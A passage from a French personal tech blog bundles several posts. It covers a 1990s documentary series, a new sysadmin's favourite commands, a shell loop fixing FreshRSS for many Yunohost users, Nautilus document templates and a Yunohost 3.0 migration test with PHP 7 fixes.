En 1996, deux épisodes « bonus » sont diffusés sur la Cinquième, devenue France 5 depuis, faisant le bilan final de 4 des 5 participants d’origine. J’avais toujours gardé un souvenir flou de cette série documentaire. Même si on peut la trouver sur Youtube si on cherche bien, on peut trouver une offre de l’INA qui propose les 12 émissions pour un prix somme toute pas si exorbitant que cela.

Évidemment, ce serait difficile de nos jours de faire un tel documentaire, mais ne serait-ce que pour revoir des objets, entendre des musiques qui ont bercé les enfants des années 1970 et 1980, ça vaut le coup.

En vrac’ de fin de semaine…

Comme chaque fin de semaine, l’habituel en vrac… Encore un peu court, comme les semaines du mois de mai 🙂

Côté logiciel libre, informatique et internet.

Côté culture ?

Bon week-end 🙂

Devenir SysAdmin d’une PME, retour d’expérience – Billet n°0

Introduction

Depuis mes débuts sous Linux, j'ai toujours su taper des commandes. Très tôt, j'ai appris à installer différents services et des serveurs (essentiellement dans des machines virtuelles et pour faire du LAMP : Linux, Apache, MySQL, PHP), mais c'est toujours resté de la bidouille. Avec le début de mon autohébergement fin décembre 2015, j'ai commencé à m'intéresser aux problématiques d'administration système. A l'été 2016, pendant les vacances, j'ai mes débuts véritable en sysadmin - administration système en cherchant à comprendre comment fonctionnait Yunohost dans ses entrailles, les différents services, en cassant et restaurant sans soucis à plusieurs reprises mon instance de production... J'ai donc appris et pas mal progressé à titre personnel, en gérant mon instance Yunohost, soit un seul serveur.

Pourtant, à côté, j'ai continué à m'intéresser à une gestion plus professionnelle et industrielle et en début de cette année 2018, je me suis vu affecter la reprise de la gestion de toute l'infrastructure de la société dans laquelle je travaille. Cette prise de fonction et de responsabilité a été décidé dans le cadre d'une restructuration des services : gérer les services de production, de support et d'infrastructure interne et liée à nos clients permet d'avoir une meilleur vision d'ensemble, plus de réactivité...

Comme toute nouvelle prise de fonction, les précédentes personnes ayant eu à gérer le service sont parties faire d'autres horizons bien qu'une passation de connaissances s'est faite, elle s'est faite rapidement.

Et avec les semaines, on découvre que même si une documentation existe (répartie dans plusieurs wikis), elle n'a pas été maintenue à jour, n'est pas assez détaillée ou obsolète... Et avec le temps il y a des choses qui marchent mais on ne sait pas comment, il y a des serveurs qu'on ne touche pas, des services qui tournent alors on ne touche à rien. Tout cet héritage et empilage de choix technique mis en place avec les années par les différents administrateurs systèmes qui se sont succèdés, c'est ce que j'appellerai le legacy, soit l'héritage.

Contexte de l'infrastructure Je pense qu'il est important, pour la suite des billets que j'aurai à rédiger, de préciser, que l'infrastructure actuelle se compose de trois grandes catégories de machines et ces catégories ont leurs importances :
- Les machines physiques : 99% des serveurs sont sous Debian, dans différentes versions
- Les machines virtuelles sur un hyperviseur : Xen et Proxmox
- Les machines cloud (sur l'hyperviseur d'un autre)

Un travail de modernisation avec le passage à des technologies plus évolutives et flexibles (virtualisation, Docker / K8S Kubernetes...) a été débuté mais il reste encore beaucoup de "une machine physique ou virtuelle pour un service dédié" avec autant de système d'exploitations et d'applications à maintenir et à découvrir...

Je pense que je ferai là encore, une série de billets au fur et à mesure de ma progression et sur comment j'ai commencer à dresser une cartographie détaillé de l'existant, documenter de novo en reprenant TOUTE la documentation existante pour la remettre d'aplomb... Et dans le futur, je parlerai de mon expérience dans la mise en place de nouveau service, dans la refonte et modernisation de l'infrastructure...

L'objectif de ma série de billets ces prochains mois sera le partage de mon expérience acquise avec le temps, le partage de bonnes pratiques mises en places, d'astuces etc. En complément de ma série de billets plus spécifiques sur le projet Chatonkademy/

Les commandes que j'utilise le plus

Pour finir ce premier billet un peu fourre-tout, je voudrais parler des commandes que j'utilise le plus au quotidien. A l'heure actuelle, quand l'outil de supervision (sous Zabbix) remonte des alertes, je me connecte en SSH sur les machines et voici les commandes que j'utilise le plus :
- ncdu
- ls -lrtu
- tail -f /var/log/le_fichier_de_log_qui_va_bien

ncdu Habitué de la commande du dont je ne me rappelle jamais les options pour avoir uniquement le niveau 1 (réponse du -h —max-depth=1 .), j'ai découvert et depuis je ne m'en passe plus et l'installe sur tous les serveurs la commande ncdu, soit NCurses Disk Usage. Simple, rapide et efficace, on a de suite l'espace disque occupé par un répertoire. Pratique pour de suite savoir quel dossier prend plein de place, et c'est très complémentaire à du, en ajoutant en plus un système de navigation au clavier dans l'arborescence scannée. Indispensable.

ls -lrtu on liste les fichiers et on les trie par date pour de suite avoir en base de liste les derniers fichiers modifiés. Pratique pour savoir quel est le dernier fichier de logs qui vient d'être modifié (c'est le dernier de la liste), voir quel est le propriétaire et la date et heure de dernière écriture.

Pour ensuite faire dessus le classique

tail -f /var/log/le_fichier_de_log_qui_va_bien J'ai dans les projets pour les mois à venir la mise en place d'un système de gestion des logs centralisés mais en attendant, à l'ancienne, je consulte les logs avec un tail -f et éventuellement du |grep motif_qui_va_bien pour filtrer affiner un peu.

Et pour le reste, il y a les commandes que j'évoquais dans mes billets :
- Yunohost - Supervision en ligne de commande
- Yunohost - Supervision du trafic réseau

Chatonkademy – Billet N°3 – FreshRSS, Yunohost et plusieurs utilisateurs

Série de billets sur le projet Chatonkademy

Dans ce billet je voudrais parler du cas de FreshRSS sur Yunohost avec plusieurs utilisateurs. Pour rappel, FreshRSS est une application de type agrégateur RSS, fort pratique (on peut se connecter dessus via son API pour avoir une application mobile avec EasyRSS (voir Yunohost, FreshRSS et EasyRSS pour Android).

A la suite de la création et de l'installation de l'instance Yunohost, j'ai créer un utilisateur pour moi (Genma), qui est l'utilisateur par défaur puis installer différentes applications dont FreshRSS. J'ai ensuite fait la création des utilisateurs en masse (une quarantaine) sur cette instance.

L'application n'est pas une application publique et partagée, chaque utilisateur a donc l'application disponible pour lui et aura la gestion de son propre contenu.

Le soucis est que les différents utilisateurs au moment du premier usage de FreshRSS (et des fois suivantes), rencontraient différents soucis : pas de possibilité d'importer un fil RSS, pas de possibilité de changement de langue...

La solution est de reprendre le répertoire FreshRSS de l'utilisateur qui était là à l'installation de FreshRSS et de dupliquer ce répertoire nécessaire au bon fonctionnement de FreshRSS.

Cela se fait via

cd /var/www/freshrss/data/users
# On prend comme liste d'utilisateurs ceux qui ont un dossier dans /home (créer automatiquement par Yunohost, à l'exception des dossiers Yuno*
for user in `ls /home -I yuno*` do
# On copie le dossier existant de l'utilisateur qui était initialement présent avant l'installation de FreshRSS
cp -R genma/ $user
# on change les droits car il faut que ce soit www-data le propriétaire du dossier
chown -R www-data: ./$user
done

On remarque donc que les données pour l'application FreshRSS dans Yunohost se trouvent dans le dossier /var/www/freshrss/data/users/
Ces données sont un fichier config.php qui contient des préférences / paramétrage de l'application et un fichier de log, log.txt qui contient des logs spécifiques à l'application (différents des logs liés à nginx qui se trouvent dans /var/log/nginx/).

Les données (fils RSS auxquels on est abonné, catégorie, lu ou non lu...) sont dans la base de données et sont bien sauvegardées par le script de l'application. Seul le paramétrage de l'interface n'est donc pas sauvegardé par défaut. A prendre en compte dans le processus de sauvegarde.

Lifehacking – Avoir des templates de documents dans Nautilus

J'ai récemment migrer sous la dernière version LTS d'Ubuntu, la 18.04, et je suis passé d'un environnement Unity (que j'utilisais depuis le début et auquel je suis resté fidèle au fil des versions) à un environnement Gnome. J'utilisais régulièrement la création de fichier vide dans un dossier de Nautilus avec un clic droit, créer un fichier et je ne retrouvais pas cette fonctionnalité dans ma nouvelle version d'Ubuntu. J'ai cherché un peu et en fait, c'est plus complet que ce que je ne pensais.

Dans le Home de l'utilisateur vous avez un dossier Modèles (ou Templates en anglais), tous les fichiers qui y figureront pourront être créés par un clic droit, vides ou contenant le texte que vous souhaitez. Bien évidemment les fichiers s'ouvriront avec les programmes par défaut de votre environnement. Source Ajouter ‘un nouveau fichier' par un clic droit avec Nautilus.

Ayant découvert que l'on pouvait donc ajouter ses propres modèles, j'ai alors déposer tout un tas de fichier template / modèle que j'ai déjà préparé dans différents formats : dès fichiers LibreOffice de différents types déjà formatés (tableau pour Calc, Présentation, Document avec en-tête et pied de page...) et des fichiers textes (Structure de billets de blogs, de fichiers de Markdown pour le Wiki

Avant, j'allais dans mon dossier de référence de template, je copiais le fichier de modèle, allait dans le dossier de travail / projet, je collais le fichier, je le renommais. Désormais, je n'ai plus qu'à faire qu'un clic droit dans n'importe quel dossier, je crée un fichier du type que je veux avec une structure déjà prédéfinie, je le renomme et je gagne du temps. Une nouvelle astuce qui m'est bine utile au quotidien.

Yunohost 3.0 sur Debian 9 – Retour d’expérience rapide

Jusqu'à présent, Yunohost n'était compatible avec Debian 9 Stretch (uniquement Debian 8 Jessie). A l'annonce du passage en phase de test Beta sur le forum pour la compatibilité Debian 9, ayant un peu de temps, pour tester, je me suis lancé.

Yunohost 3.0 ?

Actuellement la version stable est la version 2.7.x. La version 3 apporte la compatibilité avec Debian 9 : une migration sur une instance déjà installée fait que la machine passe sous Debian 9. On a alors des versions plus récentes de PHP (passage de 5 à 7), ce qui sera mieux pour les futures versions à venir de Nextcloud qui nécessitent Php7. Et on est enfin sous Debian 9. Et ça c'est cool aussi.

Test dans une machine virtuelle clone de mon instance de production

Pour avoir un bac à sable qui ne craint rien, j'ai refait un clone complet via Clonezilla de mon instance de production (et j'ai ainsi un backup complet tout frais, en plus des sauvegardes régulières) que j'ai réimporté dans une nouvelle VM Virtualbox. Pour me connecter à celle-ci, j'ai modifié mon fichier hosts pour que l'IP de la VM corresponde aux noms de domaines de mon Yunohost de production. Je résume vite fait car je me suis basé sur mon expérience précédente abordée dans les billets précédemment écrit Yunohost dans Virtualbox et Yunohost, Clonezilla et Virtualbox

Et j'ai trouvé des bugs

J'ai ainsi pu tester plusieurs fois la migration (et repartir du snapshot fonctionnel de la VM), en indiquant à chaque fois les erreurs rencontrées, cherchant des solutions et contribuant ainsi, modestement, à mon niveau à Yunohost. Je suis assez content car mes tests ont permis de détecter des erreurs sur les applications suivantes Sonerezh et Nextcloud.

Dont voici la correction...

Le détail et toute la démarche faite durant quelques heures passées à comprendre et chercher est sur le forum, je donne directement les solutions :

Sonerezh

Il y a deux lignes où il y a des # et non des ; (ancien système de commentaire de PHP non compatible avec PHP 7).
On édite le fichier de configuration pour faire la correction :

nano -l /etc/php/7.0/fpm/pool.d/sonerezh.conf

Nextcloud

Module PHP manquant conduisant à une erreur Interne (500 dans les logs)

apt-get install php7.0-apcu -y
service nginx restart

J'ai au passage vu que les logs de Nextcloud ne sont pas dans /var/log/nginx/monsousdomaine.domaine.log (soit les logs du domaine nginx lié à Nextcloud) mais dans le fichier /home/yunohost.app/nextcloud/data/nextcloud.log

Reste à voir comment on peut faire pour ajouter tout ça en patch / proposée que ces corrections soient faites automatiquement dans les migrations et installations des applications dans YunoHost.

Sachant que pour Sonerezh, le code source de l'application en elle-même n'est plus maintenue, il faut probablement ajouter la modification dans le script de migration ou d'installation de Sonerezh en tant qu'application YunoHost. A voir.

Migrer ou non ?

La version est encore en Beta. Je ne l'ai pas testé assez longtemps pour voir si il n'y a pas d'autres soucis. J'attendrai donc la sortie officielle en version stable courant juin pour migrer mon instance de production (que j'utilise tous les jours), en attendant, dès que j'ai un peu de temps, je continuerai sur l'instance de test dans Virtualbox pour voir comment je peux continuer à aider un peu un projet que j'utilise quotidiennement. La moindre des choses étant, à mon niveau, d'aider un peu.

Mais dès à présent, de ce que j'ai pu voir, les applications suivantes sont fonctionnelles : Amapache, Dokuwiki, FreshRSS, Kanboard, Shaarli, Roundcube, Wallabag, Sonerezh (suite à la correction), WemaWema, Phpmyadmin et Nextcloud. Reste quand même à tester ça en profondeur.